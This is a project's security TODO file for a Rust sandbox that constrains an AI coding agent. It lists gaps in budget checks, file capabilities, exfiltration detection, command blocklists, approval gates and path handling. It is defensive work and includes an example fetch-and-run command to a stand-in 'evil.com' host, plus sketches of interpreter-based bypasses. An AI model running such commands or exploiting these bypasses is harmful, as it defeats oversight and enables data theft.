SECURITY_TODO.md

Security TODOs (Policy -> Physics gaps)

Scope: documents current enforcement gaps and test/assurance deficits across portcullis, nucleus, and nucleus-cli. Each item includes a concrete TODO and a Definition of Done (DoD) that prefers guarantees (fuzzing, property tests, formal methods) when practical.

1) Process execution not budget-enforced

Deficiency

• nucleus::Executor never charges or checks budget during command execution. Budget is tracked only in nucleus-cli after process completion (best-effort). This makes budget enforcement non-atomic with side effects. Refs: crates/nucleus/src/command.rs:30, crates/nucleus/src/command.rs:73, crates/nucleus-cli/src/run.rs:187

Impact

• A process can run and incur costs even if it should have been blocked for budget exhaustion.

TODO

• Integrate AtomicBudget checks into Executor::run / run_with_timeout before spawning.
• Define a charge model (static per command, or dynamic per output size / duration) and enforce it pre-exec or via reservation.

DoD (guarantees)

• Property tests: budget never exceeds max under concurrent Executor usage.
• Fuzz: command strings + randomized budgets must not permit execution when insufficient.
• Negative test: for any budget=0, Executor::run must always fail with a budget error. Status
• Partial: Executor reserves budget using a base + per-second model when a time guard/timeout is present; output-based costs and refunds still pending.

2) Capability levels are not enforced for file I/O

Deficiency

• nucleus::Sandbox checks only PathLattice patterns. It does not check CapabilityLattice levels (read/write/edit). Refs: crates/nucleus/src/sandbox.rs:45, crates/nucleus/src/sandbox.rs:218

Impact

• A policy that forbids write_files can still write through Sandbox::write, because only path patterns are enforced.

TODO

• Add capability checks to all Sandbox methods (read/write/open/create/remove/dir). Decide on a capability mapping table and require it in Sandbox::new or per method.

DoD (guarantees)

• Property tests: for any capability state with write_files < LowRisk, any write/remove must fail.
• Unit tests: explicit denial for write/edit/remove when CapabilityLevel::Never or approval-required without a token.
• If approval callbacks are required, type-level enforcement (guard token) or explicit runtime error must be present. Status
• Done (runtime): Sandbox enforces read/write/edit capabilities with approval callbacks.

3) Command exfiltration detection is program-name only

Deficiency

• Executor::check_uninhabitable detects network exfiltration by checking the first argv token against a small hardcoded list. bash -c, python -c, node -e, etc. can bypass this. Refs: crates/nucleus/src/command.rs:237, crates/nucleus/src/command.rs:282

Impact

• Uninhabitable state can be completed via indirect shell invocation without detection.

TODO

• Extend detection to include shell-based indirection and common runtime executors.
• Option: disallow * -c by default, or treat any bash/sh/zsh/pwsh/python/node/ruby as network-capable unless allowlisted.

DoD (guarantees)

• Adversarial tests: bash -c 'curl ...', python -c '...requests...', node -e '...fetch...' are blocked under uninhabitable state.
• Fuzz: generate command strings; ensure any network-capable flow under uninhabitable state is denied. Status
• Partial: default command lattice now blocks common interpreter flags (bash -c, python -c, node -e, etc.); broader coverage and fuzzing pending.

4) Command allowlist/blocklist is string-based and permissive mode is bypassable

Deficiency

• CommandLattice::can_execute relies on substring checks and shell_words tokenization. In permissive mode (empty allowlist), only blocked substrings are enforced. Refs: crates/portcullis/src/command.rs:77, crates/portcullis/src/command.rs:133, crates/portcullis/src/command.rs:191

Impact

• Command strings with extra args or indirection can bypass intended blocks (e.g., curl http://evil.com | sh vs curl | sh).

TODO

• Upgrade policy to structured command patterns (program + args) rather than substring matching.
• Consider separate policies for shell, pipelines, and redirection; optionally forbid shell metacharacters entirely.

DoD (guarantees)

• Property tests over parsed argv: forbidden program+arg patterns must never pass even with quoting/spacing.
• Fuzz: command strings with random quoting and separators should not bypass forbidden patterns. Status
• Partial: added shell metacharacter blocking in permissive mode and subsequence checks for blocked patterns; full structured command patterns still pending.

5) ν (nucleus) is not automatically applied to constructed permissions

Deficiency

• PermissionLattice can be created via builder or struct literal without normalization. ν is applied only in meet/join or if callers manually apply constraint. Refs: crates/portcullis/src/lattice.rs:199, crates/portcullis/src/lattice.rs:214, crates/portcullis/src/lattice.rs:228, crates/portcullis/src/lattice.rs:479

Impact

• Callers can create a permissive lattice that violates the uninhabitable state and use it directly.

TODO

• Provide a normalize()/nucleus() constructor that applies the constraint and use it in all builders and presets.
• Option: make fields private and require constructors that apply ν.

DoD (guarantees)

• Property tests: normalize(normalize(x)) == normalize(x) (idempotent), x <= y => normalize(x) <= normalize(y) (monotone), normalize(x) <= x (deflationary).
• Construction tests: all public constructors yield ν(x) = x (safe). Status
• Done (runtime): constructors/builders now apply normalize() when uninhabitable state is enabled; property tests for ν are added at the capability level.

6) Approval requirements are trivially auto-approvable

Deficiency

• Approval obligations can still be automated (e.g., always-approve callbacks), even though execution now requires explicit approval tokens. Refs: crates/nucleus/src/command.rs:61, crates/nucleus/src/command.rs:383

Impact

• Human-in-the-loop requirement can be bypassed by callers.

TODO

• Require a structured approval interface (e.g., signed decisions, explicit audit record, or typed approval token).
• Consider making approvals non-bypassable by requiring a guard token that cannot be constructed externally.

DoD (guarantees)

• Compile-time: approval-gated operations require an approval token type that cannot be forged.
• Runtime: approvals must be logged with operation details and a verifier. Status
• Done (type-level): approval-gated operations require approval tokens (ApprovalToken) to execute; callbacks only mint tokens.

7) Path sandboxing is string-based in PathLattice

Deficiency

• PathLattice performs canonicalization and glob matching on strings. Unicode normalization, symlink race conditions, and Windows path oddities are not exhaustively tested. Refs: crates/portcullis/src/path.rs:117, crates/portcullis/src/path.rs:175, crates/portcullis/tests/adversarial.rs:93

Impact

• Policy checks may be bypassed via path quirks. Sandbox mitigates some issues via capability handles, but sensitive-path blocking still relies on strings.

TODO

• Add tests and optional platform-specific normalization (Unicode NFC/NFKC).
• Add symlink-escape tests and ensure behavior is correct on all supported OSes.

DoD (guarantees)

• Fuzz: path inputs (including unicode normalization forms) never permit blocked paths.
• Adversarial tests: symlink escapes and .. traversal never bypass policy. Status
• Partial: symlink escape test added for work_dir; unicode/Windows cases and fuzzing pending.

8) Enforcement split between nucleus and nucleus-cli

Deficiency

• nucleus-cli spawns claude directly and uses --allowedTools rather than enforcing via Executor and Sandbox APIs. Refs: crates/nucleus-cli/src/run.rs:111, crates/nucleus-cli/src/run.rs:159

Impact

• Enforcement is policy-as-config; OS-level side effects are not gated by the nucleus runtime in CLI mode.

TODO

• Route tool execution through nucleus enforcement layer or implement a wrapper that enforces Sandbox and Executor for all side effects.

DoD (guarantees)

• Integration tests: commands that violate policy are blocked even if the model attempts them.
• End-to-end tests in CI: forbidden operations never occur in CLI execution. Status
• Partial: enforced CLI path now runs Claude via MCP + nucleus-tool-proxy; unsafe direct mode remains behind --unsafe-allow-claude.

9) Formalization and proofs are missing

Deficiency

• ν properties (idempotence, monotonicity, deflationary, meet-preserving) are described but not formally verified. Refs: crates/portcullis/src/lib.rs:19, crates/portcullis/src/lib.rs:26

Impact

• Subtle regressions can silently break lattice guarantees.

TODO

• Add a small formal spec (Lean/Coq/Isabelle) of the core lattice + ν and map it to Rust. See docs/assurance/formal-methods.md for the target plan.

DoD (guarantees)

• Machine-checked proofs for ν laws.
• CI gate that fails if proofs no longer check. Status
• Done: 297 Verus SMT proofs (E1-E7: exposure monotonicity, trace monotonicity, denial monotonicity, auth boundary, capability coverage, budget monotonicity, delegation ceiling) + 14 Kani BMC harnesses. Both Verus and Kani are required merge checks on main. See crates/portcullis-verified/src/lib.rs, .github/workflows/verus.yml, .github/workflows/kani-nightly.yml.

10) Fuzzing coverage gaps

Deficiency

• No cargo-fuzz targets for command parsing, path normalization, or policy deserialization. Refs: crates/portcullis/tests/proptest_lattice.rs:1, Cargo.toml:1

Impact

• Parser and matcher bugs may allow bypasses or panics in adversarial inputs.

TODO

• Add fuzz targets:
  • PathLattice::can_access with random paths and unicode.
  • CommandLattice::can_execute with random command strings.
  • PermissionLattice serde round-trip.

DoD (guarantees)

• Fuzz CI: minimum corpus size + time budget.
• No crashes, no false-allow for known forbidden patterns. Status
• Done (CI-gated): 3 fuzz targets (command_can_execute, path_can_access, permission_serde) run in CI with 30s time budget each. Fuzz is a required merge check on main. See fuzz/, .github/workflows/ci.yml.